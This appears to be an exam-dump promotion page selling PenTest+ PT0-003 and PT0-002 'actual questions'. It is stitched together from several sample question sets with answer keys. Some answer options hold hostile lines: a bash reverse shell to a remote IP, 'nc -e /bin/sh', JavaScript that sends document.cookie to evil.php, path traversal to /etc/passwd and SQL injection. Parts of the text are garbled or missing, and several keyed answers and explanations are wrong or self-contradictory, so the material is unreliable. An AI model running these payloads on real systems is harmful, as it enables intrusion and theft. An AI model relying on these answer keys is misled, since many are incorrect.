The latest CompTIA (A+, Cloud+, Cloud Essentials, CySA+, Linux+…) exam actual questions and answers, exam dumps, exam PDF, and Cisco, Microsoft, Citrix… advanced dump, 100% pass guarantee.
CompTIA PenTest+
CompTIA PenTest+ focuses on practical penetration testing and vulnerability assessment skills. This site provides study strategies, hands-on exercises, and real-world tips to help learners prepare effectively. By combining guided practice with proven learning techniques, we make mastering PenTest+ easier while building skills that can be directly applied to identify and address security weaknesses in real IT environments.
Most people assume they failed PT0-003 because they didn’t study enough.
That’s not what happened.
They failed because they made slow or uncertain decisions in moments where the exam expected speed and clarity. This isn’t an exam that rewards effort—it rewards judgment under pressure.
Halfway through mine, I realized I was treating a PBQ like a lab. I paused, tried to fully understand everything, and lost time I couldn’t recover. That moment changed how I approached the rest of the exam.
This isn’t a traditional study guide. It’s a breakdown of what actually makes the difference—and what quietly causes people to fail.
🧠 What Changed in PT0-003 (2026) — And Why It Matters
Cloud, AI, and IAM Shifted the Game
PT0-003 doesn’t feel harder because there’s more content.
It feels harder because the context changed.
Cloud environments, identity systems, and API-driven behaviors are no longer side topics. They’re embedded into how questions are built. You won’t be told what category you’re in—you’ll need to recognize it instantly.
You might see:
Access behaving inconsistently
Data exposure without obvious vulnerabilities
Systems that look fine until you question identity flow
This forces a different mindset.
Instead of thinking:
“What tool should I use?”
You start thinking:
“Where is the breakdown happening?”
Why Old Study Habits Collapse Early
A lot of candidates still prepare like this:
Watch → take notes → repeat
Cover every topic once
Add more resources when unsure
That approach feels productive, but it doesn’t translate.
Because during the exam, you’re not recalling information—you’re choosing actions. And if your preparation didn’t train that, you’ll feel it immediately.
🔥 Where the Exam Actually Gets Difficult
Domain 4 Quietly Decides Everything
This section doesn’t stand out when you study.
But in the exam, it’s where small mistakes accumulate.
You’re often choosing between answers that are both technically valid. The difference is subtle:
One aligns with context and impact
One just looks technically impressive
Under pressure, most people lean toward the second.
That’s usually wrong.
The exam rewards decisions that make sense in a real-world situation, not the ones that look the most advanced.
🧠 PBQs Are About Decisions, Not Completion
PBQs don’t test whether you can “do everything.”
They test whether you can act without full clarity.
You’ll see incomplete logs, partial configs, or unclear objectives. If your instinct is to pause until everything makes sense, time will work against you.
A better approach is simpler:
Identify the goal quickly
Ignore anything that doesn’t support it
Take action—even if it feels slightly uncertain
You’re not expected to solve everything perfectly.
You’re expected to move forward intelligently.
📊 The 8-Week Plan (That Doesn’t Collapse Midway)
Why Most Plans Fail
Most 8-week plans are overloaded from the start.
They try to cover:
Multiple platforms
Full topic depth
Practice + theory simultaneously
By week 3, it turns into maintenance instead of progress.
The issue isn’t discipline—it’s direction.
A Practical 8-Week Strategy
Instead of focusing on content volume, this plan builds decision speed over time:
Phase
Weeks
Focus
Outcome
Foundation
1–2
Lab setup + basic tooling
Comfort with uncertainty
Exposure
3–4
Scenario-based questions
Pattern recognition
Pressure
5–6
Timed practice + PBQs
Faster decisions
Correction
7
Weakness targeting
Remove hesitation patterns
Simulation
8
Full exam runs
Stable performance
Why This Structure Works
It mirrors how the exam feels.
You don’t improve by knowing more—you improve by reacting better. Each phase pushes you slightly closer to that.
If everything feels smooth early on, you’re likely not training the right skill.
⚔️ Resources (What Actually Made a Difference)
The Early Mistake: Too Much Input
Using multiple courses and platforms sounds like a good idea.
In practice, it creates inconsistency.
Different explanations lead to different approaches. When those approaches conflict, hesitation increases. That hesitation shows up during the exam—not during study.
What Changed the Outcome
Reducing input helped more than adding anything new.
Fewer resources. More repetition. More attention to how questions are structured.
The goal shifted from:
“Do I understand this topic?”
To:
“Can I decide quickly when I see this again?”
Where Leads4Pass Fit
I didn’t use it at the beginning.
Early prep was built around structured learning and standard practice exams. That helped with familiarity, but something was missing—especially around how PBQs felt under pressure.
Later, I used Leads4Pass to get closer to that exam-like decision flow.
It helped highlight:
Where hesitation happens
How ambiguity affects choices
What it feels like to move without full clarity
It’s not ideal for early stages, though. Without a baseline, it can feel disorganized.
🧠 PBQ & Time Management (The Real Differentiator)
Time Doesn’t Work the Way You Expect
165 minutes seems manageable.
But the pressure builds unevenly.
You’ll move quickly through some questions, then suddenly hit one that slows everything down. Without a strategy, that imbalance adds up.
A Simple Time Strategy That Holds
Instead of over-planning, stick to this structure:
First pass: Answer clear questions quickly
Second pass: Handle moderate uncertainty
Final phase: Approach PBQs with focused attention
Key rule:
If you don’t see direction within 60–90 seconds, move on.
That one decision prevents time loss more than anything else.
Common Mistakes That Cost Points
Spending too long on a single PBQ
Trying to fully resolve every scenario
Ignoring time until late in the exam
Not every question deserves equal effort.
❌ Failure Patterns That Repeat
These show up consistently:
Resource overload: Too many inputs, unclear thinking
Comfort bias: Avoiding weak areas during prep
Lab mindset: Treating PBQs like full simulations
Time neglect: No practice under real constraints
Recall dependency: Expecting direct questions
Each one leads to hesitation.
And hesitation is what the exam exposes.
📈 What Actually Changes After Passing
Career Impact (Realistically)
The certification helps—but it doesn’t carry you.
What matters more is how you explain your thinking:
Why you chose a specific approach
How you handled uncertainty
What you prioritized first
That’s what stands out.
Skills That Improve
You don’t just gain knowledge—you refine how you operate:
Faster decision-making
Better pattern recognition
Clearer communication under pressure
These are harder to measure—but more valuable.
🔚 What To Do Next
Don’t start with another course.
Set up a small lab.
Break something intentionally.
Then figure out what went wrong—without rushing to fix it immediately.
That process will teach you more about this exam than any structured plan.
❓ FAQs
1. What is the most effective PT0-003 study guide 2026 approach?
Focus on scenario-based practice and lab environments, not just content review.
2. How to pass PenTest+ PT0-003 efficiently?
Train your ability to make decisions under pressure, especially with incomplete information.
3. Are PBQs the main challenge?
Yes—not because they’re complex, but because they require speed and judgment.
4. How long should daily study sessions be?
Short, focused sessions (1–2 hours) with active problem-solving are more effective than long passive ones.
5. Can beginners succeed with PT0-003?
Yes—if they prioritize hands-on practice early instead of relying only on theory.
So what is the difference between the latest PT0-003 certification exam and the previous one?
Compare the differences individually:
It can be clearly seen from the table and picture above that PT0-003 has made some very important updates compared to PT0-002, especially the technical operations and attack execution capabilities for specific tasks during the penetration testing process.
In addition to retaining planning and compliance requirements, specific technical operations such as enumeration and reconnaissance, vulnerability analysis, attack execution, and data extraction are added, making the description more practical and emphasizing the ability to attack and obtain data.
There is also a small detail. The PT0-003 exam has added 5 more test questions without changing the test time. This will greatly increase the difficulty of the test and the time to answer the questions.
How should we prepare as candidates?
There are many ways to prepare for the exam on the Internet, buy books, video tutorials, online training and more. But please remember that to pass the PT0-003 exam, you must not use old learning materials. What is truly effective is the latest learning materials.
Now I will share the latest PT0-003 dumps exam questions and answers. In response to the new changes, we have also made new materials to ensure that you can study easily and pass the exam smoothly.
Read the latest list of PT0-003 dumps:
Total Questions
234
Single & multiple Choice
222
Drag Drop
5
Hotsopt
2
Simulation Labs
5
Updated on
Feb 06, 2025
The above are the complete PT0-003 dumps exam questions and answers. You can choose PDF or VCE learning tools on Leads4Pass to help you practice the test. VCE provides real-life scenario simulation tests. Both learning methods provide complete learning materials.
Keep reading, below I will share some latest CompTIA PenTest+ PT0-003 dumps exam questions for free.
A penetration tester has prepared the following phishing email for an upcoming penetration test:
Which of the following is the penetration tester using MOST to influence phishing targets to click on the link?
A. Familiarity and likeness
B. Authority and urgency
C. Scarcity and fear
D. Social proof and greed
Correct Answer: B
Question 2:
A penetration tester initiated the transfer of a large data set to verify a proof-of-concept attack as permitted by the ROE. The tester noticed the client\’s data included PII, which is out of scope, and immediately stopped the transfer.
Which of the following MOST likely explains the penetration tester\’s decision?
A. The tester had the situational awareness to stop the transfer.
B. The tester found evidence of prior compromise within the data set.
C. The tester completed the assigned part of the assessment workflow.
D. The tester reached the end of the assessment time frame.
Correct Answer: A
Situational awareness is the ability to perceive and understand the environment and events around oneself, and to act accordingly. The penetration tester demonstrated situational awareness by stopping the transfer of PII, which was out of scope and could have violated the ROE or legal and ethical principles. The other options are not relevant to the situation or the decision of the penetration tester.
Question 3:
A Chief Information Security Officer wants to evaluate the security of the company\’s e- commerce application.
Which of the following tools should a penetration tester use FIRST to obtain relevant information from the application without triggering alarms?
A. SQLmap
B. DirBuster
C. w3af
D. OWASP ZAP
Correct Answer: C
W3AF, the Web Application Attack and Audit Framework, is an open source web application security scanner that includes directory and filename bruteforcing in its list of capabilities.
Question 4:
In a cloud environment, a security team discovers that an attacker accessed confidential information that was used to configure virtual machines during their initialization. Through which of the following features could this information have been accessed?
A. IAM
B. Block storage
C. Virtual private cloud
D. Metadata services
Correct Answer: D
In a cloud environment, the information used to configure virtual machines during their initialization could have been accessed through metadata services.
Metadata Services:
Other Features:
Pentest References:
Cloud Security: Understanding how metadata services work and the potential risks associated with them is crucial for securing cloud environments. Exploitation: Metadata services can be exploited to retrieve sensitive data if not properly secured.
By accessing metadata services, an attacker can retrieve sensitive configuration information used during VM initialization, which can lead to further exploitation.
Question 5:
During a penetration testing engagement, a tester targets the internet-facing services used by the client. Which of the following describes the type of assessment that should be considered in this scope of work?
A. Segmentation
B. Mobile
C. External
D. Web
Correct Answer: C
An external assessment focuses on testing the security of internet-facing services. Here\’s why option C is correct:
External Assessment: It involves evaluating the security posture of services exposed to the internet, such as web servers, mail servers, and other public-facing infrastructure.
The goal is to identify vulnerabilities that could be exploited by attackers from outside the organization\’s network.
Segmentation: This type of assessment focuses on ensuring that different parts of a network are appropriately segmented to limit the spread of attacks. It\’s more relevant to internal network architecture.
Mobile: This assessment targets mobile applications and devices, not general internet-facing services.
Web: While web assessments focus on web applications, the scope of an external assessment is broader and includes all types of internet-facing services.
References from Pentest:
Horizontall HTB: Highlights the importance of assessing external services to identify vulnerabilities that could be exploited from outside the network. Luke HTB: Demonstrates the process of evaluating public-facing services to ensure their security.
Conclusion:
Option C, External, is the most appropriate type of assessment for targeting internet-facing services used by the client.
Question 6:
A security engineer is trying to bypass a network IPS that isolates the source when the scan exceeds 100 packets per minute. The scope of the scan is to identify web servers in the 10.0.0.0/16 subnet.
Which of the following commands should the engineer use to achieve the objective in the least amount of time?
A. nmap -T3 -p 80 10.0.0.0/16 — max-hostgroup 100
B. nmap -TO -p 80 10.0.0.0/16
C. nmap -T4 -p 80 10.0.0.0/16 — max-rate 60
D. nmap -T5 -p 80 10.0.0.0/16 — min-rate 80
Correct Answer: C
The nmap -T4 -p 80 10.0.0.0/16 — max-rate 60 command is used to scan the 10.0.0.0/16 subnet for web servers (port 80) at a maximum rate of 60 packets per minute. The -T4 option sets the timing template to “aggressive”, which speeds up the scan.
The — max-rate option limits the number of packets sent per second, helping to bypass the network IPS that isolates the source when the scan exceeds 100 packets per minute12.
Question 7:
During passive reconnaissance of a target organization\’s infrastructure, a penetration tester wants to identify key contacts and job responsibilities within the company.
Which of the following techniques would be the most effective for this situation?
A. Social media scraping
B. Website archive and caching
C. DNS lookup
D. File metadata analysis
Correct Answer: A
Social media scraping involves collecting information from social media platforms where employees might share their roles, responsibilities, and professional affiliations. This method can reveal detailed insights into the organizational structure, key personnel, and specific job functions within the target organization, making it an invaluable tool for understanding the company\’s internal landscape without alerting the target to the reconnaissance activities.
Question 8:
A penetration tester is performing an assessment against a customer\’s web application that is hosted in a major cloud provider\’s environment. The penetration tester observes that the majority of the attacks attempted are being blocked by the organization\’s WAF.
Which of the following attacks would be most likely to succeed?
A. Reflected XSS
B. Brute-force
C. DDoS
D. Direct-to-origin
Correct Answer: D
Question 9:
Which of the following tools would be best to use to conceal data in various kinds of image files?
A. Kismet
B. Snow
C. Responder
D. Metasploit
Correct Answer: B
Snow is a tool designed for steganography, which is the practice of concealing messages or information within other non-secret text or data. In this context, Snow is specifically used to hide data within whitespace of text files, which can include the whitespace areas of images saved in formats that support text descriptions or metadata, such as certain PNG or JPEG files.
While the other tools listed (Kismet, Responder, Metasploit) are powerful in their respective areas (network sniffing, LLMNR/NBT-NS poisoning, and exploitation framework), they do not offer functionality related to data concealment in image files or steganography.
Question 10:
A penetration tester ran a simple Python-based scanner. The following is a snippet of the code: Which of the following BEST describes why this script triggered a `probable port scan` alert in the organization\’s IDS?
A. sock.settimeout(20) on line 7 caused each next socket to be created every 20 milliseconds.
B. *range(1, 1025) on line 1 populated the portList list in numerical order.
C. Line 6 uses socket.SOCK_STREAM instead of socket.SOCK_DGRAM
D. The remoteSvr variable has neither been type-hinted nor initialized.
Correct Answer: B
Port randomization is widely used in port scanners. By default, Nmap randomizes the scanned port order (except that certain commonly accessible ports are moved near the beginning for efficiency reasons) https://nmap.org/book/man-portspecification.html
Question 11:
A penetration tester needs to help create a threat model of a custom application. Which of the following is the most likely framework the tester will use?
A. MITRE ATTandCK
B. OSSTMM
C. CI/CD
D. DREAD
Correct Answer: D
The DREAD model is a risk assessment framework used to evaluate and prioritize the security risks of an application. It stands for Damage potential, Reproducibility, Exploitability, Affected users, and Discoverability.
Understanding DREAD:
Usage in Threat Modeling:
Process:
References from Pentesting Literature:
Step-by-Step ExplanationReferences:
Penetration Testing – A Hands-on Introduction to Hacking HTB Official Writeups
Question 12:
Which of the following is most important when communicating the need for vulnerability remediation to a client at the conclusion of a penetration test?
A. Articulation of cause
B. Articulation of impact
C. Articulation of escalation
D. Articulation of alignment
Correct Answer: B
When concluding a penetration test, effectively communicating the need for vulnerability remediation is crucial. Here\’s why the articulation of impact is the most important aspect:
Articulation of Cause (Option A):
Articulation of Impact (Option B):
Articulation of Escalation (Option C):
Articulation of Alignment (Option D):
Conclusion: Articulating the impact of vulnerabilities is the most crucial element when communicating the need for remediation.
By clearly explaining the potential risks and consequences, penetration testers can effectively convey the urgency and importance of addressing the discovered issues, thus motivating clients to take prompt and appropriate action.
Question 13:
During an assessment, a penetration tester obtains a list of 30 email addresses by crawling the target company\’s website and then creates a list of possible usernames based on the email address format. Which of the following types of attacks would MOST likely be used to avoid account lockout?
A. Mask
B. Rainbow
C. Dictionary
D. Password spraying
Correct Answer: D
Password spraying is a type of password guessing attack that involves trying one or a few common passwords against many usernames or accounts.
Password spraying can avoid account lockout policies that limit the number of failed login attempts per account by spreading out the attempts over time and across different accounts.
Password spraying can also increase the chances of success by using passwords that are likely to be used by many users, such as default passwords, seasonal passwords, or company names.
Mask is a type of password cracking attack that involves using a mask or a pattern to generate passwords based on known or guessed characteristics of the password, such as length, case, or symbols. Rainbow is a technique of storing precomputed hashes of passwords in a table that can be used to quickly crack passwords by looking up the hashes.
Dictionary is a type of password cracking attack that involves using a wordlist or a dictionary of common or likely passwords to try against an account.
Question 14:
A penetration tester is conducting reconnaissance for an upcoming assessment of a large corporate client. The client authorized spear phishing in the rules of engagement.
Which of the following should the tester do first when developing the phishing campaign?
A. Shoulder surfing
B. Recon-ng
C. Social media
D. Password dumps
Correct Answer: C
When developing a phishing campaign, the tester should first use social media to gather information about the targets.
Social Media:
Process:
Other Options:
Pentest References:
Spear Phishing: A targeted phishing attack aimed at specific individuals, using personal information to increase the credibility of the email.
OSINT (Open Source Intelligence): Leveraging publicly available information to gather intelligence on targets, including through social media. By starting with social media, the penetration tester can collect detailed and personalized information about the targets, which is essential for creating an effective spear phishing campaign.
Question 15:
HOTSPOT
A penetration tester is performing reconnaissance for a web application assessment. Upon investigation, the tester reviews the robots.txt file for items of interest.
INSTRUCTIONS
Select the tool the penetration tester should use for further investigation.
Select the two entries in the robots.txt file that the penetration tester should recommend for removal.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
Hot Area:
Correct Answer:
Explanation:
The tool the penetration tester should use for the further investigation is WPScan The two entries in the robots.txt file that the penetration tester should recommend for removal are 14 Allow: /admin 15 Allow: /wp-admin
Passing the newly released CompTIA Pentest+ PT0-003 exam isn’t easy! Compared with the previous PT0-002 exam, it will be more difficult!
In particular, the core technologies of technical operations and attack execution capabilities in the penetration testing process have been greatly upgraded, so candidates are recommended to use the Latest CompTIA PenTest+ PT0-003 dumps exam questions: https://www.leads4pass.com/pt0-003.html to help them succeed in the exam.
The newly updated CompTIA PT0-002 dumps provides 162 exam questions and answers, covering the full range of practice exam questions, for all candidates taking the PT0-002 PenTest+ exam.
The CompTIA PT0-002 PenTest+ exam is for cybersecurity professionals responsible for penetration testing and vulnerability management, and you can use the PDF and VCE exam engine provided by the Lead4Pass PT0-002 dumps to learn all the exam knowledge to help you accomplish your mission.
Therefore, it is highly recommended that you use the latest updated PT0-002 dumps https://www.leads4pass.com/pt0-002.html, which guarantees you 100% success on the CompTIA PT0-002 PenTest+ exam.
A security assessor is attempting to craft specialized XML files to test the security of the parsing functions during ingest into a Windows application. Before beginning to test the application, which of the following should the assessor request from the organization?
A. Sample SOAP messages B. The REST API documentation C. A protocol fuzzing utility D. An applicable XSD file
Correct Answer: D
NEW QUESTION 2:
User credentials were captured from a database during an assessment and cracked using rainbow tables. Based on the ease of compromise, which of the following algorithms was MOST likely used to store the passwords in the database?
A penetration tester is starting an assessment but only has publicly available information about the target company. The client is aware of this exercise and is preparing for the test. Which of the following describes the scope of the assessment?
A. Partially known environment testing B. Known environment testing C. Unknown environment testing D. Physical environment testing
Correct Answer: C
NEW QUESTION 4:
A manager calls upon a tester to assist with diagnosing an issue within the following: Python script: #!/user/bin/python s = “Administrator” The tester suspects it is an issue with string slicing and manipulation Analyze the following code segment and drag and drop the correct output for each string manipulation to its corresponding code segment Options may be used once or not at all.
Select and Place:
Correct Answer:
NEW QUESTION 5:
A penetration tester was conducting a penetration test and discovered the network traffic was no longer reaching the client\’s IP address. The tester later discovered the SOC had used a sinkhole on the penetration tester\’s IP address.
Which of the following BEST describes what happened?
A. The penetration tester was testing the wrong assets B. The planning process failed to ensure all teams were notified C. The client was not ready for the assessment to start D. The penetration tester had incorrect contact information
Correct Answer: B
NEW QUESTION 6:
Running a vulnerability scanner on a hybrid network segment that includes general IT servers and industrial control systems:
A. will reveal vulnerabilities in the Modbus protocol. B. may cause unintended failures in control systems. C. may reduce the true positive rate of findings. D. will create a denial-of-service condition on the IP networks.
A security team is switching firewall vendors. The director of security wants to scope a penetration test to satisfy the requirements to perform the test after major architectural changes. Which of the following is the BEST way to approach the project?
A. Design a penetration test approach, focusing on publicly released firewall DoS vulnerabilities. B. Review the firewall configuration, followed by a targeted attack by a read team. C. Perform a discovery scan to identify changes in the network. D. Focus on an objective-based approach to assess network assets with a red team.
Correct Answer: D
NEW QUESTION 9:
When preparing for an engagement with an enterprise organization, which of the following is one of the MOST important items to develop fully prior to beginning the penetration testing activities?
A. Clarify the statement of work. B. Obtain an asset inventory from the client. C. Interview all stakeholders. D. Identify all third parties involved.
Correct Answer: A
NEW QUESTION 10:
The results of a Nmap scan are as follows:
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-24 01:10 EST
Nmap scan report for ( 10.2.1.22 )
The host is up (0.0102s latency).
Not shown: 998 filtered ports
Port State Service
80/TCP open HTTP
|_http-title: 80F 22% RH 1009.1MB (text/HTML)
|_http-slowloris-check:
| VULNERABLE:
| Slowloris DoS Attack
|Device type: bridge|general purpose
Running (JUST GUESSING): QEMU (95%)
OS CPE: cpe:/a:qemu:qemu
No exact OS matches were found for the host (test conditions non-ideal).
OS detection was performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 107.45 seconds
Which of the following device types will MOST likely have a similar response? (Choose two.)
A. Network device B. Public-facing web server C. Active Directory domain controller D. IoT/embedded device E. Exposed RDP F. Print queue
Correct Answer: AB
NEW QUESTION 11:
A software company has hired a penetration tester to perform a penetration test on a database server. The tester has been given a variety of tools used by the company\’s privacy policy. Which of the following would be the BEST to use to find vulnerabilities on this server?
A security company has been contracted to perform a scoped insider-threat assessment to try to gain access to the human resources server that houses PII and salary data. The penetration testers have been given an internal network starting position.
Which of the following actions, if performed, would be ethical within the scope of the assessment?
A. Exploiting a configuration weakness in the SQL database B. Intercepting outbound TLS traffic C. Gaining access to hosts by injecting malware into the enterprise-wide update server D. Leveraging a vulnerability on the internal CA to issue fraudulent client certificates E. Establishing and maintaining persistence on the domain controller
Correct Answer: B
NEW QUESTION 13:
A company recruited a penetration tester to configure wireless IDS over the network. Which of the following tools would BEST test the effectiveness of the wireless IDS solutions?
You can use these to improve yourself, but the free CompTIA PT0-002 Dumps exam questions will only help you warm up, I still recommend using the latest updated CompTIA PT0-002 Dumps https://www.leads4pass.com/pt0-002.html Helping you complete your CompTIA PT0-002 PenTest+ exam mission.
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The new PenTest+ (PT0-002) exam will launch on October 28, 2021!
What is CompTIA PenTest+?
For Cybersecurity Professionals Responsible for Penetration Testing and Vulnerability Management
Do you know PT1-002? This is an over-examination item for PT0-002, a new word for 2021, and has now been phased out. From October 28th, 2021, PT0-002 is the PenTest+ mainstream exam item.
The first update of CompTIA PenTest+ pt0-002 in 2022 starts here. I will share some of the newly updated CompTIA PenTest+ pt0-002 free exam questions to help you study easily, and you can take online practice tests. All free exam questions are from Lead4Pass pt0-002 dumps. pt0-002 dumps are available in both PDF and VCE modes: https://www.leads4pass.com/pt0-002.html (161 Q&A).
CompTIA PenTest+ PT0-002 Free Dumps Online Exam Test
Please record your answers and verify them at the end of the article
QUESTION 1
A penetration tester ran the following command on a staging server: python –m SimpleHTTPServer 9891 Which of the following commands could be used to download a file named exploit to a target machine for execution?
A. nc 10.10.51.50 9891 B. powershell –exec bypass –f \\10.10.51.50\9891 C. bash –i >and /dev/tcp/10.10.51.50/9891 0and1>/exploit D. wget 10.10.51.50:9891/exploit
During a penetration-testing engagement, a consultant performs reconnaissance of a client to identify potential targets for a phishing campaign. Which of the following would allow the consultant to retrieve email addresses for technical and billing contacts quickly, without triggering any of the client\\’s cybersecurity tools? (Choose two.)
A. Scraping social media sites B. Using the WHOIS lookup tool C. Crawling the client\\’s website D. Phishing company employees E. Utilizing DNS lookup tools F. Conducting wardriving near the client facility
QUESTION 3
A penetration tester has obtained root access to a Linux-based file server and would like to maintain persistence after reboot.
Which of the following techniques would BEST support this objective?
A. Create a one-shot systemd service to establish a reverse shell. B. Obtain /etc/shadow and brute force the root password. C. Run the nc -e /bin/sh command. D. Move laterally to create a user account on LDAP
QUESTION 4
A tester who is performing a penetration test on a website receives the following output: Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /var/www/search.php on line 62 Which of the following commands can be used to further attack the website?
A. var adr= `../evil.php?test=\\’ + escape(document.cookie); B. ../../../../../../../../../../etc/passwd C. /var/www/html/index.php;whoami D. 1 UNION SELECT 1, DATABASE(),3-
QUESTION 5
A security engineer identified a new server on the network and wants to scan the host to determine if it is running an approved version of Linux and a patched version of Apache.
Which of the following commands will accomplish this task?
A. nmap –f –sV –p80 192.168.1.20 B. nmap –sS –sL –p80 192.168.1.20 C. nmap –A –T4 –p80 192.168.1.20 D. nmap –O –v –p80 192.168.1.20
Penetration-testing activities have concluded, and the initial findings have been reviewed with the client.
Which of the following best describes the NEXT step in the engagement?
A. Acceptance by the client and sign-off on the final report B. Scheduling of follow-up actions and retesting C. Attestation of findings and delivery of the report D. Review of the lessons learned during the engagement
QUESTION 8
A penetration tester who is doing a security assessment discovers that a critical vulnerability is being actively exploited by cybercriminals.
Which of the following should the tester do NEXT?
A. Reach out to the primary point of contact B. Try to take down the attackers C. Call law enforcement officials immediately D. Collect the proper evidence and add to the final report
QUESTION 9
Which of the following should a penetration tester attack to gain control of the state in the HTTP protocol after the user is logged in?
A. HTTPS communication B. Public and private keys C. Password encryption D. Sessions and cookies
QUESTION 10
A penetration tester is reviewing the following SOW prior to engaging with a client: “Network diagrams, logical and physical asset inventory, and employees\\’ names are to be treated as client confidential. Upon completion of the engagement, the penetration tester will submit findings to the client\\’s Chief Information Security Officer (CISO) via encrypted protocols and subsequently dispose of all findings by erasing them in a secure manner.” Based on the information in the SOW, which of the following behaviors would be considered unethical? (Choose two.)
A. Utilizing proprietary penetration-testing tools that are not available to the public or to the client for auditing and inspection
B. Utilizing public-key cryptography to ensure findings are delivered to the CISO upon completion of the engagement
C. Failing to share with the client critical vulnerabilities that exist within the client architecture to appease the client\\’s senior leadership team
D. Seeking help with the engagement in underground hacker forums by sharing the client\\’s public IP address
E. Using a software-based erase tool to wipe the client\\’s findings from the penetration tester\\’s laptop
F. Retaining the SOW within the penetration tester\\’s company for future use so the sales team can plan future engagements
QUESTION 11
A penetration tester who is doing a company-requested assessment would like to send traffic to another system using double tagging.
Which of the following techniques would BEST accomplish this goal?
A. RFID cloning B. RFID tagging C. Meta tagging D. Tag nesting
QUESTION 12
A penetration tester runs the following command on a system: find / -user root –perm -4000 –print 2>/dev/null
Which of the following is the tester trying to accomplish?
A. Set the SGID on all files in the / directory B. Find the /root directory on the system C. Find files with the SUID bit set D. Find files that were created during exploitation and move them to /dev/null
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QUESTION 1 A consultant is identifying versions of Windows operating systems on a network Which of the following Nmap commands should the consultant run? A. nmap -T4 -v -sU -iL /tmp/list.txt -Pn –script smb-system-info B. nmap -T4 -v -iL /tmp/list .txt -Pn –script smb-os-disccvery C. nmap -T4 -v -6 -iL /tmp/liat.txt -Pn –script smb-os-discovery -p 135-139 D. nmap -T4 -v –script smb-system-info 192.163.1.0/24 Correct Answer: B
QUESTION 2 A penetration tester is utilizing social media to gather information about employees at a company. The tester has created a list of popular words used in employee profile s. For which of the following types of attack would this information be used? A. Exploit chaining B. Session hijacking C. Dictionary D. Karma Correct Answer: C
QUESTION 3 A company received a report with the following finding While on the internal network the penetration tester was able to successfully capture SMB broadcasted user ID and password information on the network and decode this information This allowed the penetration tester to then join their own computer to the ABC domain Which of the following remediation\\’s are appropriate for the reported findings\\’? (Select TWO) A. Set the Schedule Task Service from Automatic to Disabled B. Enable network-level authentication C. Remove the ability from Domain Users to join domain computers to the network D. Set the netlogon service from Automatic to Disabled E. Set up a SIEM alert to monitor Domain joined machines F. Set “Digitally sign network communications” to Always Correct Answer: BC
QUESTION 4 A client requests that a penetration tester emulate a help desk technician who was recently laid off. Which of the following BEST describes the abilities of the threat actor? A. Advanced persistent threat B. Script kiddie C. Hacktivist D. Organized crime Correct Answer: B Reference https://www.sciencedirect.com/topics/computer-science/disgruntled-employee
QUESTION 5 A penetration tester executed a vulnerability scan against a publicly accessible host and found a web server that is vulnerable to the DROWN attack. Assuming this web server is using the IP address 127.212.31.17, which of the following should the tester use to verify a false positive? A. Openssl s_client -tls1_2 -connect 127.212.31.17:443 B. Openssl s_client -ss12 -connect 127.212.31.17:443 C. Openssl s_client -ss13 -connect 127.212.31.17:443 D. Openssl s_server -tls1_2 -connect 127.212.31.17:443 Correct Answer: A
QUESTION 6 A penetration tester has obtained access to an IP network subnet that contains ICS equipment intercommunication. Which of the following attacks is MOST likely to succeed in creating a physical effect? A. DNS cache poisoning B. Record and replay C. Supervisory server SMB D. Blind SQL injection Correct Answer: A
QUESTION 7 A penetration tester is testing a web application and is logged in as a lower-privileged user. The tester runs arbitrary JavaScript within an application, which sends an XMLHttpRequest, resulting in exploiting features to which only an administrator should have access. Which of the following controls would BEST mitigate the vulnerability? A. Implement authorization checks. B. Sanitize all the user input. C. Prevent directory traversal. D. Add client-side security controls Correct Answer: A
QUESTION 8 DRAG DROP A technician is reviewing the following report. Given this information, identify which vulnerability can be definitively confirmed to be a false positive by dragging the “false positive” token to the “Confirmed” column for each vulnerability that is a false positive. Select and Place:
Correct Answer:
QUESTION 9 Consumer-based IoT devices are often less secure than systems built for traditional desktop computers. Which of the following BEST describes the reasoning for this? A. Manufacturers developing IoT devices are less concerned with security. B. It is difficult for administrators to implement the same security standards across the board. C. IoT systems often lack the hardware power required by more secure solutions. D. Regulatory authorities often have lower security requirements for IoT systems. Correct Answer: A
QUESTION 10 A penetration tester is designing a phishing campaign and wants to build list of users (or the target organization. Which of the following techniques would be the MOST appropriate? (Select TWO) A. Query an Internet WHOIS database. B. Search posted job listings. C. Scrape the company website. D. Harvest users from social networking sites. E. Socially engineer the corporate call center. Correct Answer: CD
QUESTION 11 The following command is run on a Linux file system: Chmod 4111 /usr/bin/sudo Which of the following issues may be exploited now? A. Kernel vulnerabilities B. Sticky bits C. Unquoted service path D. Misconfigured sudo Correct Answer: B
QUESTION 12 A security assessor is attempting to craft specialized XML files to test the security of the parsing functions during ingest into a Windows application. Before beginning to test the application, which of the following should the assessor request from the organization? A. Sample SOAP messages B. The REST API documentation C. A protocol fuzzing utility D. An applicable XSD file Correct Answer: D
QUESTION 13 A company hires a penetration tester to determine if there are any vulnerabilities in its new VPN concentrator installation with an external IP of 100.170.60.5. Which of the following commands will test if the VPN is available? A. fpipe.exe -1 8080 -r 80 100.170.60.5 B. ike-scan -A -t 1 –sourceip=apoof_ip 100.170.60.5 C. nmap -sS -A -f 100.170.60.5 D. nc 100.170.60.5 8080 /bin/sh Correct Answer: B
QUESTION 14 Which of the following is the MOST comprehensive type of penetration test on a network? A. Black box B. White box C. Gray box D. Red team E. Architecture review Correct Answer: A Reference: https://purplesec.us/types-penetration-testing/
QUESTION 15 A system security engineer is preparing to conduct a security assessment of some new applications. The applications were provided to the engineer as a set that contains only JAR files. Which of the following would be the MOST detailed method to gather information on the inner working of these applications? A. Launch the applications and use dynamic software analysis tools, including fuzz testing B. Use a static code analyzer on the JAR filet to look for code Quality deficiencies C. Decompile the applications to approximate source code and then conduct a manual review D. Review the details and extensions of the certificate used to digitally sign the code and the application Correct Answer: A
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QUESTION 1 DRAG DROP You are a penetration tester reviewing a client\\’s website through a web browser. INSTRUCTIONS Review all components of the website through the browser to determine if vulnerabilities are present. Remediate ONLY the highest vulnerability from either the certificate, source, or cookies. If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
QUESTION 3 A penetration tester has been given eight business hours to gain access to a client\\’s financial system. Which of the following techniques will have the highest likelihood of success? A. Attempting to tailgate an employee going into the client\\’s workplace B. Dropping a malicious USB key with the company\\’s logo in the parking lot C. Using a brute-force attack against the external perimeter to gain a foothold D. Performing spear phishing against employees by posing as senior management Correct Answer: C
